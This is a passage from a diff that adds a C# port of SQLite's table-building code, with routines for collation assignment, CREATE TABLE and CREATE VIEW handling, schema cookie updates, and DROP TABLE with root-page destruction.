*/ + static void sqlite3AddCollateType( Parse pParse, Token pToken ) + { + Table p; + int i; + string zColl; /* Dequoted name of collation sequence */ + sqlite3 db; + + if ( ( p = pParse.pNewTable ) == null ) return; + i = p.nCol - 1; + db = p.dbMem; + zColl = sqlite3NameFromToken( db, pToken ); + if ( zColl == null ) return; + + if ( sqlite3LocateCollSeq( pParse, zColl ) != null ) + { + Index pIdx; + p.aCol[i].zColl = zColl; + + /* If the column is declared as " PRIMARY KEY COLLATE ", + ** then an index may have been created on this column before the + ** collation type was added. Correct this if it is the case. + */ + for ( pIdx = p.pIndex ; pIdx != null ; pIdx = pIdx.pNext ) + { + Debug.Assert( pIdx.nColumn == 1 ); + if ( pIdx.aiColumn[0] == i ) + { + pIdx.azColl[0] = p.aCol[i].zColl; + } + } + } + else + { + //sqlite3DbFree( db, ref zColl ); + } + } + + /* + ** This function returns the collation sequence for database native text + ** encoding identified by the string zName, length nName. + ** + ** If the requested collation sequence is not available, or not available + ** in the database native encoding, the collation factory is invoked to + ** request it. If the collation factory does not supply such a sequence, + ** and the sequence is available in another text encoding, then that is + ** returned instead. + ** + ** If no versions of the requested collations sequence are available, or + ** another error occurs, NULL is returned and an error message written into + ** pParse. + ** + ** This routine is a wrapper around sqlite3FindCollSeq(). This routine + ** invokes the collation factory if the named collation cannot be found + ** and generates an error message. + ** + ** See also: sqlite3FindCollSeq(), sqlite3GetCollSeq() + */ + static CollSeq sqlite3LocateCollSeq( Parse pParse, string zName ) + { + sqlite3 db = pParse.db; + u8 enc = db.aDb[0].pSchema.enc;// ENC(db); + u8 initbusy = db.init.busy; + CollSeq pColl; + + pColl = sqlite3FindCollSeq( db, enc, zName, initbusy ); + if ( 0 == initbusy && ( pColl == null || pColl.xCmp == null ) ) + { + pColl = sqlite3GetCollSeq( db, pColl, zName ); + if ( pColl == null ) + { + sqlite3ErrorMsg( pParse, "no such collation sequence: %s", zName ); + } + } + + return pColl; + } + + + /* + ** Generate code that will increment the schema cookie. + ** + ** The schema cookie is used to determine when the schema for the + ** database changes. After each schema change, the cookie value + ** changes. When a process first reads the schema it records the + ** cookie. Thereafter, whenever it goes to access the database, + ** it checks the cookie to make sure the schema has not changed + ** since it was last read. + ** + ** This plan is not completely bullet-proof. It is possible for + ** the schema to change multiple times and for the cookie to be + ** set back to prior value. But schema changes are infrequent + ** and the probability of hitting the same cookie value is only + ** 1 chance in 2^32. So we're safe enough. + */ + static void sqlite3ChangeCookie( Parse pParse, int iDb ) + { + int r1 = sqlite3GetTempReg( pParse ); + sqlite3 db = pParse.db; + Vdbe v = pParse.pVdbe; + sqlite3VdbeAddOp2( v, OP_Integer, db.aDb[iDb].pSchema.schema_cookie + 1, r1 ); + sqlite3VdbeAddOp3( v, OP_SetCookie, iDb, BTREE_SCHEMA_VERSION, r1 ); + sqlite3ReleaseTempReg( pParse, r1 ); + } + + /* + ** Measure the number of characters needed to output the given + ** identifier. The number returned includes any quotes used + ** but does not include the null terminator. + ** + ** The estimate is conservative. It might be larger that what is + ** really needed. + */ + static int identLength( string z ) + { + int n; + for ( n = 0 ; n < z.Length ; n++ ) + { + if ( z[n] == (byte)'"' ) { n++; } + } + return n + 2; + } + + + /* + ** The first parameter is a pointer to an output buffer. The second + ** parameter is a pointer to an integer that contains the offset at + ** which to write into the output buffer. This function copies the + ** nul-terminated string pointed to by the third parameter, zSignedIdent, + ** to the specified offset in the buffer and updates *pIdx to refer + ** to the first byte after the last byte written before returning. + ** + ** If the string zSignedIdent consists entirely of alpha-numeric + ** characters, does not begin with a digit and is not an SQL keyword, + ** then it is copied to the output buffer exactly as it is. Otherwise, + ** it is quoted using double-quotes. + */ + static void identPut( StringBuilder z, ref int pIdx, string zSignedIdent ) + { + string zIdent = zSignedIdent; + int i; int j; bool needQuote; + i = pIdx; + for ( j = 0 ; j < zIdent.Length ; j++ ) + { + if ( !sqlite3Isalnum( zIdent[j] ) && zIdent[j] != '_' ) break; + } + needQuote = sqlite3Isdigit( zIdent[0] ) || sqlite3KeywordCode( zIdent, j ) != TK_ID; + if ( !needQuote ) + { + needQuote = ( j < zIdent.Length && zIdent[j] != 0 ); + } + if ( needQuote ) { if ( i == z.Length ) z.Append( '\0' ); z[i++] = '"'; } + for ( j = 0 ; j < zIdent.Length ; j++ ) + { + if ( i == z.Length ) z.Append( '\0' ); + z[i++] = zIdent[j]; + if ( zIdent[j] == '"' ) { if ( i == z.Length ) z.Append( '\0' ); z[i++] = '"'; } + } + if ( needQuote ) { if ( i == z.Length ) z.Append( '\0' ); z[i++] = '"'; } + //z[i] = 0; + pIdx = i; + } + + /* + ** Generate a CREATE TABLE statement appropriate for the given + ** table. Memory to hold the text of the statement is obtained + ** from sqliteMalloc() and must be freed by the calling function. + */ + static string createTableStmt( sqlite3 db, Table p ) + { + int i, k, n; + StringBuilder zStmt; + string zSep; string zSep2; string zEnd; + Column pCol; + n = 0; + for ( i = 0 ; i < p.nCol ; i++ ) + {//, pCol++){ + pCol = p.aCol[i]; + n += identLength( pCol.zName ) + 5; + } + n += identLength( p.zName ); + if ( n < 50 ) + { + zSep = ""; + zSep2 = ","; + zEnd = ")"; + } + else + { + zSep = "\n "; + zSep2 = ",\n "; + zEnd = "\n)"; + } + n += 35 + 6 * p.nCol; + zStmt = new StringBuilder( n ); + //zStmt = sqlite3Malloc( n ); + //if( zStmt==0 ){ + // db.mallocFailed = 1; + // return 0; + //} + //sqlite3_snprintf(n, zStmt,"CREATE TABLE "); + zStmt.Append( "CREATE TABLE " ); + k = sqlite3Strlen30( zStmt ); + identPut( zStmt, ref k, p.zName ); + zStmt.Append( '(' );//zStmt[k++] = '('; + for ( i = 0 ; i < p.nCol ; i++ ) + {//, pCol++){ + pCol = p.aCol[i]; + string[] azType = new string[] { +/* SQLITE_AFF_TEXT */ " TEXT", +/* SQLITE_AFF_NONE */ "", +/* SQLITE_AFF_NUMERIC */ " NUM", +/* SQLITE_AFF_INTEGER */ " INT", +/* SQLITE_AFF_REAL */ " REAL" +}; + int len; + string zType; + + zStmt.Append( zSep );// sqlite3_snprintf(n-k, zStmt[k], zSep); + k = sqlite3Strlen30( zStmt );// k += strlen(zStmt[k]); + zSep = zSep2; + identPut( zStmt, ref k, pCol.zName ); + Debug.Assert( pCol.affinity - SQLITE_AFF_TEXT >= 0 ); + Debug.Assert( pCol.affinity - SQLITE_AFF_TEXT < azType.Length );//sizeof(azType)/sizeof(azType[0]) ); + testcase( pCol.affinity == SQLITE_AFF_TEXT ); + testcase( pCol.affinity == SQLITE_AFF_NONE ); + testcase( pCol.affinity == SQLITE_AFF_NUMERIC ); + testcase( pCol.affinity == SQLITE_AFF_INTEGER ); + testcase( pCol.affinity == SQLITE_AFF_REAL ); + + zType = azType[pCol.affinity - SQLITE_AFF_TEXT]; + len = sqlite3Strlen30( zType ); + Debug.Assert( pCol.affinity == SQLITE_AFF_NONE + || pCol.affinity == sqlite3AffinityType( zType ) ); + zStmt.Append( zType );// memcpy( &zStmt[k], zType, len ); + k += len; + Debug.Assert( k <= n ); + } + zStmt.Append( zEnd );//sqlite3_snprintf(n-k, zStmt[k], "%s", zEnd); + return zStmt.ToString(); + } + + /* + ** This routine is called to report the final ")" that terminates + ** a CREATE TABLE statement. + ** + ** The table structure that other action routines have been building + ** is added to the internal hash tables, assuming no errors have + ** occurred. + ** + ** An entry for the table is made in the master table on disk, unless + ** this is a temporary table or db.init.busy==1. When db.init.busy==1 + ** it means we are reading the sqlite_master table because we just + ** connected to the database or because the sqlite_master table has + ** recently changed, so the entry for this table already exists in + ** the sqlite_master table. We do not want to create it again. + ** + ** If the pSelect argument is not NULL, it means that this routine + ** was called to create a table generated from a + ** "CREATE TABLE ... AS SELECT ..." statement. The column names of + ** the new table will match the result set of the SELECT. + */ + // OVERLOADS, so I don't need to rewrite parse.c + static void sqlite3EndTable( Parse pParse, Token pCons, Token pEnd, int null_4 ) + { sqlite3EndTable( pParse, pCons, pEnd, null ); } + static void sqlite3EndTable( Parse pParse, int null_2, int null_3, Select pSelect ) + { sqlite3EndTable( pParse, null, null, pSelect ); } + + static void sqlite3EndTable( + Parse pParse, /* Parse context */ + Token pCons, /* The ',' token after the last column defn. */ + Token pEnd, /* The final ')' token in the CREATE TABLE */ + Select pSelect /* Select from a "CREATE ... AS SELECT" */ + ) + { + Table p; + sqlite3 db = pParse.db; + int iDb; + + if ( ( pEnd == null && pSelect == null ) /*|| db.mallocFailed != 0 */ ) + { + return; + } + p = pParse.pNewTable; + if ( p == null ) return; + + Debug.Assert( 0 == db.init.busy || pSelect == null ); + + iDb = sqlite3SchemaToIndex( db, p.pSchema ); + +#if !SQLITE_OMIT_CHECK + /* Resolve names in all CHECK constraint expressions. +*/ + if ( p.pCheck != null ) + { + SrcList sSrc; /* Fake SrcList for pParse.pNewTable */ + NameContext sNC; /* Name context for pParse.pNewTable */ + + sNC = new NameContext();// memset(sNC, 0, sizeof(sNC)); + sSrc = new SrcList();// memset(sSrc, 0, sizeof(sSrc)); + sSrc.nSrc = 1; + sSrc.a = new SrcList_item[1]; + sSrc.a[0] = new SrcList_item(); + sSrc.a[0].zName = p.zName; + sSrc.a[0].pTab = p; + sSrc.a[0].iCursor = -1; + sNC.pParse = pParse; + sNC.pSrcList = sSrc; + sNC.isCheck = 1; + if ( sqlite3ResolveExprNames( sNC, ref p.pCheck ) != 0 ) + { + return; + } + } +#endif // * !SQLITE_OMIT_CHECK) */ + + /* If the db.init.busy is 1 it means we are reading the SQL off the +** "sqlite_master" or "sqlite_temp_master" table on the disk. +** So do not write to the disk again. Extract the root page number +** for the table from the db.init.newTnum field. (The page number +** should have been put there by the sqliteOpenCb routine.) +*/ + if ( db.init.busy != 0 ) + { + p.tnum = db.init.newTnum; + } + + /* If not initializing, then create a record for the new table + ** in the SQLITE_MASTER table of the database. + ** + ** If this is a TEMPORARY table, write the entry into the auxiliary + ** file instead of into the main database file. + */ + if ( 0 == db.init.busy ) + { + int n; + Vdbe v; + String zType = ""; /* "view" or "table" */ + String zType2 = ""; /* "VIEW" or "TABLE" */ + String zStmt = ""; /* Text of the CREATE TABLE or CREATE VIEW statement */ + + v = sqlite3GetVdbe( pParse ); + if ( NEVER( v == null ) ) return; + + sqlite3VdbeAddOp1( v, OP_Close, 0 ); + + /* + ** Initialize zType for the new view or table. + */ + if ( p.pSelect == null ) + { + /* A regular table */ + zType = "table"; + zType2 = "TABLE"; +#if !SQLITE_OMIT_VIEW + } + else + { + /* A view */ + zType = "view"; + zType2 = "VIEW"; +#endif + } + + /* If this is a CREATE TABLE xx AS SELECT ..., execute the SELECT + ** statement to populate the new table. The root-page number for the + ** new table is in register pParse->regRoot. + ** + ** Once the SELECT has been coded by sqlite3Select(), it is in a + ** suitable state to query for the column names and types to be used + ** by the new table. + ** + ** A shared-cache write-lock is not required to write to the new table, + ** as a schema-lock must have already been obtained to create it. Since + ** a schema-lock excludes all other database users, the write-lock would + ** be redundant. + */ + if ( pSelect != null ) + { + SelectDest dest = new SelectDest(); + Table pSelTab; + + Debug.Assert( pParse.nTab == 1 ); + sqlite3VdbeAddOp3( v, OP_OpenWrite, 1, pParse.regRoot, iDb ); + sqlite3VdbeChangeP5( v, 1 ); + pParse.nTab = 2; + sqlite3SelectDestInit( dest, SRT_Table, 1 ); + sqlite3Select( pParse, pSelect, ref dest ); + sqlite3VdbeAddOp1( v, OP_Close, 1 ); + if ( pParse.nErr == 0 ) + { + pSelTab = sqlite3ResultSetOfSelect( pParse, pSelect ); + if ( pSelTab == null ) return; + Debug.Assert( p.aCol == null ); + p.nCol = pSelTab.nCol; + p.aCol = pSelTab.aCol; + pSelTab.nCol = 0; + pSelTab.aCol = null; + sqlite3DeleteTable( ref pSelTab ); + } + } + + /* Compute the complete text of the CREATE statement */ + if ( pSelect != null ) + { + zStmt = createTableStmt( db, p ); + } + else + { + n = (int)( pParse.sNameToken.z.Length - pEnd.z.Length ) + 1; + zStmt = sqlite3MPrintf( db, + "CREATE %s %.*s", zType2, n, pParse.sNameToken.z + ); + } + + /* A slot for the record has already been allocated in the + ** SQLITE_MASTER table. We just need to update that slot with all + ** the information we've collected. + */ + sqlite3NestedParse( pParse, + "UPDATE %Q.%s " + + "SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q " + + "WHERE rowid=#%d", + db.aDb[iDb].zName, SCHEMA_TABLE( iDb ), + zType, + p.zName, + p.zName, + pParse.regRoot, + zStmt, + pParse.regRowid + ); + //sqlite3DbFree( db, ref zStmt ); + sqlite3ChangeCookie( pParse, iDb ); + +#if !SQLITE_OMIT_AUTOINCREMENT + /* Check to see if we need to create an sqlite_sequence table for +** keeping track of autoincrement keys. +*/ + if ( ( p.tabFlags & TF_Autoincrement ) != 0 ) + { + Db pDb = db.aDb[iDb]; + if ( pDb.pSchema.pSeqTab == null ) + { + sqlite3NestedParse( pParse, + "CREATE TABLE %Q.sqlite_sequence(name,seq)", + pDb.zName + ); + } + } +#endif + + /* Reparse everything to update our internal data structures */ + sqlite3VdbeAddOp4( v, OP_ParseSchema, iDb, 0, 0, + sqlite3MPrintf( db, "tbl_name='%q'", p.zName ), P4_DYNAMIC ); + } + + + /* Add the table to the in-memory representation of the database. + */ + if ( db.init.busy != 0 ) + { + Table pOld; + Schema pSchema = p.pSchema; + pOld = (Table)sqlite3HashInsert( ref pSchema.tblHash, p.zName, + sqlite3Strlen30( p.zName ), p ); + if ( pOld != null ) + { + Debug.Assert( p == pOld ); /* Malloc must have failed inside HashInsert() */ + // db.mallocFailed = 1; + return; + } + pParse.pNewTable = null; + db.nTable++; + db.flags |= SQLITE_InternChanges; + +#if !SQLITE_OMIT_ALTERTABLE + if ( p.pSelect == null ) + { + string zName = pParse.sNameToken.z; + int nName; + Debug.Assert( pSelect == null && pCons != null && pEnd != null ); + if ( pCons.z == null ) + { + pCons = pEnd; + } + nName = zName.Length - pCons.z.Length; + p.addColOffset = 13 + nName; // sqlite3Utf8CharLen(zName, nName); + } +#endif + } + } + +#if !SQLITE_OMIT_VIEW + /* +** The parser calls this routine in order to create a new VIEW +*/ + static void sqlite3CreateView( + Parse pParse, /* The parsing context */ + Token pBegin, /* The CREATE token that begins the statement */ + Token pName1, /* The token that holds the name of the view */ + Token pName2, /* The token that holds the name of the view */ + Select pSelect, /* A SELECT statement that will become the new view */ + int isTemp, /* TRUE for a TEMPORARY view */ + int noErr /* Suppress error messages if VIEW already exists */ + ) + { + Table p; + int n; + string z;//const char *z; + Token sEnd; + DbFixer sFix = new DbFixer(); + Token pName = null; + int iDb; + sqlite3 db = pParse.db; + + if ( pParse.nVar > 0 ) + { + sqlite3ErrorMsg( pParse, "parameters are not allowed in views" ); + sqlite3SelectDelete( db, ref pSelect ); + return; + } + sqlite3StartTable( pParse, pName1, pName2, isTemp, 1, 0, noErr ); + p = pParse.pNewTable; + if ( p == null ) + { + sqlite3SelectDelete( db, ref pSelect ); + return; + } + Debug.Assert( pParse.nErr == 0 ); /* If sqlite3StartTable return non-NULL then +** there could not have been an error */ + sqlite3TwoPartName( pParse, pName1, pName2, ref pName ); + iDb = sqlite3SchemaToIndex( db, p.pSchema ); + if ( sqlite3FixInit( sFix, pParse, iDb, "view", pName ) != 0 + && sqlite3FixSelect( sFix, pSelect ) != 0 + ) + { + sqlite3SelectDelete( db, ref pSelect ); + return; + } + + /* Make a copy of the entire SELECT statement that defines the view. + ** This will force all the Expr.token.z values to be dynamically + ** allocated rather than point to the input string - which means that + ** they will persist after the current sqlite3_exec() call returns. + */ + p.pSelect = sqlite3SelectDup( db, pSelect, EXPRDUP_REDUCE ); + sqlite3SelectDelete( db, ref pSelect ); + //if ( db.mallocFailed != 0 ) + //{ + // return; + //} + if ( 0 == db.init.busy ) + { + sqlite3ViewGetColumnNames( pParse, p ); + } + + /* Locate the end of the CREATE VIEW statement. Make sEnd point to + ** the end. + */ + sEnd = pParse.sLastToken; + if ( ALWAYS( sEnd.z[0] != 0 ) && sEnd.z[0] != ';' ) + { + sEnd.z = sEnd.z.Substring( sEnd.n ); + } + sEnd.n = 0; + n = (int)( pBegin.z.Length - sEnd.z.Length );//sEnd.z - pBegin.z; + z = pBegin.z; + while ( ALWAYS( n > 0 ) && sqlite3Isspace( z[n - 1] ) ) { n--; } + sEnd.z = z.Substring( n - 1 ); + sEnd.n = 1; + + /* Use sqlite3EndTable() to add the view to the SQLITE_MASTER table */ + sqlite3EndTable( pParse, null, sEnd, null ); + return; + } +#endif // * SQLITE_OMIT_VIEW */ + +#if !SQLITE_OMIT_VIEW || !SQLITE_OMIT_VIRTUALTABLE + /* +** The Table structure pTable is really a VIEW. Fill in the names of +** the columns of the view in the pTable structure. Return the number +** of errors. If an error is seen leave an error message in pParse.zErrMsg. +*/ + static int sqlite3ViewGetColumnNames( Parse pParse, Table pTable ) + { + Table pSelTab; /* A fake table from which we get the result set */ + Select pSel; /* Copy of the SELECT that implements the view */ + int nErr = 0; /* Number of errors encountered */ + int n; /* Temporarily holds the number of cursors assigned */ + sqlite3 db = pParse.db; /* Database connection for malloc errors */ + dxAuth xAuth; //)(void*,int,const char*,const char*,const char*,const char*); + + Debug.Assert( pTable != null ); + +#if !SQLITE_OMIT_VIRTUALTABLE +if ( sqlite3VtabCallConnect( pParse, pTable ) ) +{ +return SQLITE_ERROR; +} +#endif + if ( IsVirtual( pTable ) ) return 0; + +#if !SQLITE_OMIT_VIEW + /* A positive nCol means the columns names for this view are +** already known. +*/ + if ( pTable.nCol > 0 ) return 0; + + /* A negative nCol is a special marker meaning that we are currently + ** trying to compute the column names. If we enter this routine with + ** a negative nCol, it means two or more views form a loop, like this: + ** + ** CREATE VIEW one AS SELECT * FROM two; + ** CREATE VIEW two AS SELECT * FROM one; + ** + ** Actually, the error above is now caught prior to reaching this point. + ** But the following test is still important as it does come up + ** in the following: + ** + ** CREATE TABLE main.ex1(a); + ** CREATE TEMP VIEW ex1 AS SELECT a FROM ex1; + ** SELECT * FROM temp.ex1; + */ + if ( pTable.nCol < 0 ) + { + sqlite3ErrorMsg( pParse, "view %s is circularly defined", pTable.zName ); + return 1; + } + Debug.Assert( pTable.nCol >= 0 ); + + /* If we get this far, it means we need to compute the table names. + ** Note that the call to sqlite3ResultSetOfSelect() will expand any + ** "*" elements in the results set of the view and will assign cursors + ** to the elements of the FROM clause. But we do not want these changes + ** to be permanent. So the computation is done on a copy of the SELECT + ** statement that defines the view. + */ + Debug.Assert( pTable.pSelect != null ); + pSel = sqlite3SelectDup( db, pTable.pSelect, 0 ); + if ( pSel != null ) + { + u8 enableLookaside = db.lookaside.bEnabled; + n = pParse.nTab; + sqlite3SrcListAssignCursors( pParse, pSel.pSrc ); + pTable.nCol = -1; + db.lookaside.bEnabled = 0; +#if !SQLITE_OMIT_AUTHORIZATION +xAuth = db.xAuth; +db.xAuth = 0; +pSelTab = sqlite3ResultSetOfSelect(pParse, pSel); +db.xAuth = xAuth; +#else + pSelTab = sqlite3ResultSetOfSelect( pParse, pSel ); +#endif + db.lookaside.bEnabled = enableLookaside; + pParse.nTab = n; + if ( pSelTab != null ) + { + Debug.Assert( pTable.aCol == null ); + pTable.nCol = pSelTab.nCol; + pTable.aCol = pSelTab.aCol; + pSelTab.nCol = 0; + pSelTab.aCol = null; + sqlite3DeleteTable( ref pSelTab ); + pTable.pSchema.flags |= DB_UnresetViews; + } + else + { + pTable.nCol = 0; + nErr++; + } + sqlite3SelectDelete( db, ref pSel ); + } + else + { + nErr++; + } +#endif // * SQLITE_OMIT_VIEW */ + return nErr; + } +#endif // * !SQLITE_OMIT_VIEW) || !SQLITE_OMIT_VIRTUALTABLE) */ + +#if !SQLITE_OMIT_VIEW + /* +** Clear the column names from every VIEW in database idx. +*/ + static void sqliteViewResetAll( sqlite3 db, int idx ) + { + HashElem i; + if ( !DbHasProperty( db, idx, DB_UnresetViews ) ) return; + //for(i=sqliteHashFirst(&db.aDb[idx].pSchema.tblHash); i;i=sqliteHashNext(i)){ + for ( i = db.aDb[idx].pSchema.tblHash.first ; i != null ; i = i.next ) + { + Table pTab = (Table)i.data;// sqliteHashData( i ); + if ( pTab.pSelect != null ) + { + sqliteResetColumnNames( pTab ); + } + } + DbClearProperty( db, idx, DB_UnresetViews ); + } +#else +//# define sqliteViewResetAll(A,B) +#endif // * SQLITE_OMIT_VIEW */ + + /* +** This function is called by the VDBE to adjust the internal schema +** used by SQLite when the btree layer moves a table root page. The +** root-page of a table or index in database iDb has changed from iFrom +** to iTo. +** +** Ticket #1728: The symbol table might still contain information +** on tables and/or indices that are the process of being deleted. +** If you are unlucky, one of those deleted indices or tables might +** have the same rootpage number as the real table or index that is +** being moved. So we cannot stop searching after the first match +** because the first match might be for one of the deleted indices +** or tables and not the table/index that is actually being moved. +** We must continue looping until all tables and indices with +** rootpage==iFrom have been converted to have a rootpage of iTo +** in order to be certain that we got the right one. +*/ +#if !SQLITE_OMIT_AUTOVACUUM + static void sqlite3RootPageMoved( Db pDb, int iFrom, int iTo ) + { + HashElem pElem; + Hash pHash; + + pHash = pDb.pSchema.tblHash; + for ( pElem = pHash.first ; pElem != null ; pElem = pElem.next )// ( pElem = sqliteHashFirst( pHash ) ; pElem ; pElem = sqliteHashNext( pElem ) ) + { + Table pTab = (Table)pElem.data;// sqliteHashData( pElem ); + if ( pTab.tnum == iFrom ) + { + pTab.tnum = iTo; + } + } + pHash = pDb.pSchema.idxHash; + for ( pElem = pHash.first ; pElem != null ; pElem = pElem.next )// ( pElem = sqliteHashFirst( pHash ) ; pElem ; pElem = sqliteHashNext( pElem ) ) + { + Index pIdx = (Index)pElem.data;// sqliteHashData( pElem ); + if ( pIdx.tnum == iFrom ) + { + pIdx.tnum = iTo; + } + } + } +#endif + + /* +** Write code to erase the table with root-page iTable from database iDb. +** Also write code to modify the sqlite_master table and internal schema +** if a root-page of another table is moved by the btree-layer whilst +** erasing iTable (this can happen with an auto-vacuum database). +*/ + static void destroyRootPage( Parse pParse, int iTable, int iDb ) + { + Vdbe v = sqlite3GetVdbe( pParse ); + int r1 = sqlite3GetTempReg( pParse ); + sqlite3VdbeAddOp3( v, OP_Destroy, iTable, r1, iDb ); +#if !SQLITE_OMIT_AUTOVACUUM + /* OP_Destroy stores an in integer r1. If this integer +** is non-zero, then it is the root page number of a table moved to +** location iTable. The following code modifies the sqlite_master table to +** reflect this. +** +** The "#NNN" in the SQL is a special constant that means whatever value +** is in register NNN. See grammar rules associated with the TK_REGISTER +** token for additional information. +*/ + sqlite3NestedParse( pParse, + "UPDATE %Q.%s SET rootpage=%d WHERE #%d AND rootpage=#%d", + pParse.db.aDb[iDb].zName, SCHEMA_TABLE( iDb ), iTable, r1, r1 ); +#endif + sqlite3ReleaseTempReg( pParse, r1 ); + } + + /* + ** Write VDBE code to erase table pTab and all associated indices on disk. + ** Code to update the sqlite_master tables and internal schema definitions + ** in case a root-page belonging to another table is moved by the btree layer + ** is also added (this can happen with an auto-vacuum database). + */ + static void destroyTable( Parse pParse, Table pTab ) + { +#if SQLITE_OMIT_AUTOVACUUM +Index pIdx; +int iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema ); +destroyRootPage( pParse, pTab.tnum, iDb ); +for ( pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext ) +{ +destroyRootPage( pParse, pIdx.tnum, iDb ); +} +#else + /* If the database may be auto-vacuum capable (if SQLITE_OMIT_AUTOVACUUM +** is not defined), then it is important to call OP_Destroy on the +** table and index root-pages in order, starting with the numerically +** largest root-page number. This guarantees that none of the root-pages +** to be destroyed is relocated by an earlier OP_Destroy. i.e. if the +** following were coded: +** +** OP_Destroy 4 0 +** ... +** OP_Destroy 5 0 +** +** and root page 5 happened to be the largest root-page number in the +** database, then root page 5 would be moved to page 4 by the +** "OP_Destroy 4 0" opcode. The subsequent "OP_Destroy 5 0" would hit +** a free-list page. +*/ + int iTab = pTab.tnum; + int iDestroyed = 0; + + while ( true ) + { + Index pIdx; + int iLargest = 0; + + if ( iDestroyed == 0 || iTab < iDestroyed ) + { + iLargest = iTab; + } + for ( pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext ) + { + int iIdx = pIdx.tnum; + Debug.Assert( pIdx.pSchema == pTab.pSchema ); + if ( ( iDestroyed == 0 || ( iIdx < iDestroyed ) ) && iIdx > iLargest ) + { + iLargest = iIdx; + } + } + if ( iLargest == 0 ) + { + return; + } + else + { + int iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema ); + destroyRootPage( pParse, iLargest, iDb ); + iDestroyed = iLargest; + } + } +#endif + } + + /* + ** This routine is called to do the work of a DROP TABLE statement. + ** pName is the name of the table to be dropped. + */ + static void sqlite3DropTable( Parse pParse, SrcList pName, int isView, int noErr ) + { + Table pTab; + Vdbe v; + sqlite3 db = pParse.db; + int iDb; + + //if ( db.mallocFailed != 0 ) + //{ + // goto exit_drop_table; + //} + Debug.Assert( pParse.nErr == 0 ); + Debug.Assert( pName.nSrc == 1 ); + pTab = sqlite3LocateTable( pParse, isView, + pName.a[0].zName, pName.a[0].zDatabase ); + + if ( pTab == null ) + { + if ( noErr != 0 ) + { + sqlite3ErrorClear( pParse ); + } + goto exit_drop_table; + } + iDb = sqlite3SchemaToIndex( db, pTab.pSchema ); + Debug.Assert( iDb >= 0 && iDb < db.nDb ); + + /* If pTab is a virtual table, call ViewGetColumnNames() to ensure + ** it is initialized. + */ + if ( IsVirtual( pTab ) && sqlite3ViewGetColumnNames( pParse, pTab ) != 0 ) + { + goto exit_drop_table; + } +#if !SQLITE_OMIT_AUTHORIZATION +{ +int code; +string zTab = SCHEMA_TABLE(iDb); +string zDb = db.aDb[iDb].zName; +string zArg2 = 0; +if( sqlite3AuthCheck(pParse, SQLITE_DELETE, zTab, 0, zDb)){ +goto exit_drop_table; +} +if( isView ){ +if( OMIT_TEMPDB ==0&& iDb==1 ){ +code = SQLITE_DROP_TEMP_VIEW; +}else{ +code = SQLITE_DROP_VIEW; +} +}else if( IsVirtual(pTab) ){ +code = SQLITE_DROP_VTABLE; +zArg2 = sqlite3GetVTable(db, pTab)->pMod->zName; +}else{ +if( OMIT_TEMPDB ==0&& iDb==1 ){ +code = SQLITE_DROP_TEMP_TABLE; +}else{ +code = SQLITE_DROP_TABLE; +} +} +if( sqlite3AuthCheck(pParse, code, pTab.zName, zArg2, zDb) ){ +goto exit_drop_table; +} +if( sqlite3AuthCheck(pParse, SQLITE_DELETE, pTab.zName, 0, zDb) ){ +goto exit_drop_table; +} +} +#endif + if ( sqlite3StrNICmp( pTab.zName, "sqlite_", 7 ) == 0 ) + { + sqlite3ErrorMsg( pParse, "table %s may not be dropped", pTab.zName ); + goto exit_drop_table; + } + +#if !SQLITE_OMIT_VIEW + /* Ensure DROP TABLE is not used on a view, and DROP VIEW is not used +** on a table. +*/ + if ( isView != 0 && pTab.pSelect == null ) + { + sqlite3ErrorMsg( pParse, "use DROP TABLE to delete table %s", pTab.zName ); + goto exit_drop_table; + } + if ( 0 == isView && pTab.pSelect != null ) + { + sqlite3ErrorMsg( pParse, "use DROP VIEW to delete view %s", pTab.zName ); + goto exit_drop_table; + } +#endif + + /* Generate code to remove the table from the master table +** on disk. +*/ + v = sqlite3GetVdbe( pParse ); + if ( v != null ) + { + Trigger pTrigger; + Db pDb = db.aDb[iDb]; + sqlite3BeginWriteOperation( pParse, 1, iDb ); + + if ( IsVirtual( pTab ) ) + { + sqlite3VdbeAddOp0( v, OP_VBegin ); + } + + /* Drop all triggers associated with the table being dropped. Code + ** is generated to remove entries from sqlite_master and/or + ** sqlite_temp_master if required. + */ + pTrigger = sqlite3TriggerList( pParse, pTab ); + while ( pTrigger != null ) + { + Debug.Assert( pTrigger.pSchema == pTab.pSchema || + pTrigger.pSchema == db.aDb[1].pSchema ); + sqlite3DropTriggerPtr( pParse, pTrigger ); + pTrigger = pTrigger.pNext; + } + +#if !SQLITE_OMIT_AUTOINCREMENT + /* Remove any entries of the sqlite_sequence table associated with +** the table being dropped. This is done before the table is dropped +** at the btree level, in case the sqlite_sequence table needs to +** move as a result of the drop (can happen in auto-vacuum mode). +*/ + if ( ( pTab.tabFlags & TF_Autoincrement ) != 0 ) + { + sqlite3NestedParse( pParse, + "DELETE FROM %s.sqlite_sequence WHERE name=%Q", + pDb.zName, pTab.zName + ); + } +#endif + + /* Drop all SQLITE_MASTER table and index entries that refer to the +** table. The program name loops through the master table and deletes +** every row that refers to a table of the same name as the one being +** dropped. Triggers are handled seperately because a trigger can be +** created in the temp database that refers to a table in another +** database. +*/ + sqlite3NestedParse( pParse, + "DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'", + pDb.zName, SCHEMA_TABLE( iDb ), pTab.zName ); + + /* Drop any statistics from the sqlite_stat1 table, if it exists */ + if ( sqlite3FindTable( db, "sqlite_stat1", db.aDb[iDb].zName ) != null ) + { + sqlite3NestedParse( pParse, + "DELETE FROM %Q.sqlite_stat1 WHERE tbl=%Q", pDb.zName, pTab.zName + ); + } + + if ( 0 == isView && !IsVirtual( pTab ) ) + { + destroyTable( pParse, pTab ); + } + + /* Remove the table entry from SQLite's internal schema and modify + ** the schema cookie. + */ + if ( IsVirtual( pTab ) ) + { + sqlite3VdbeAddOp4( v, OP_VDestroy, iDb, 0, 0, pTab.zName, 0 ); + } + sqlite3VdbeAddOp4( v, OP_DropTable, iDb, 0, 0, pTab.zName, 0 ); + sqlite3ChangeCookie( pParse, iDb ); + } + sqliteViewResetAll( db, iDb ); + +exit_drop_table: + sqlite3SrcListDelete( db, ref pName ); + } + + /* + ** This routine is called to create a new foreign key on the table + ** currently under construction. pFromCol determines which columns + ** in the current table point to the foreign key. If pFromCol==0 then + ** connect the key to the last column inserted. pTo is the name of + ** the table referred to. pToCol is a list of tables in 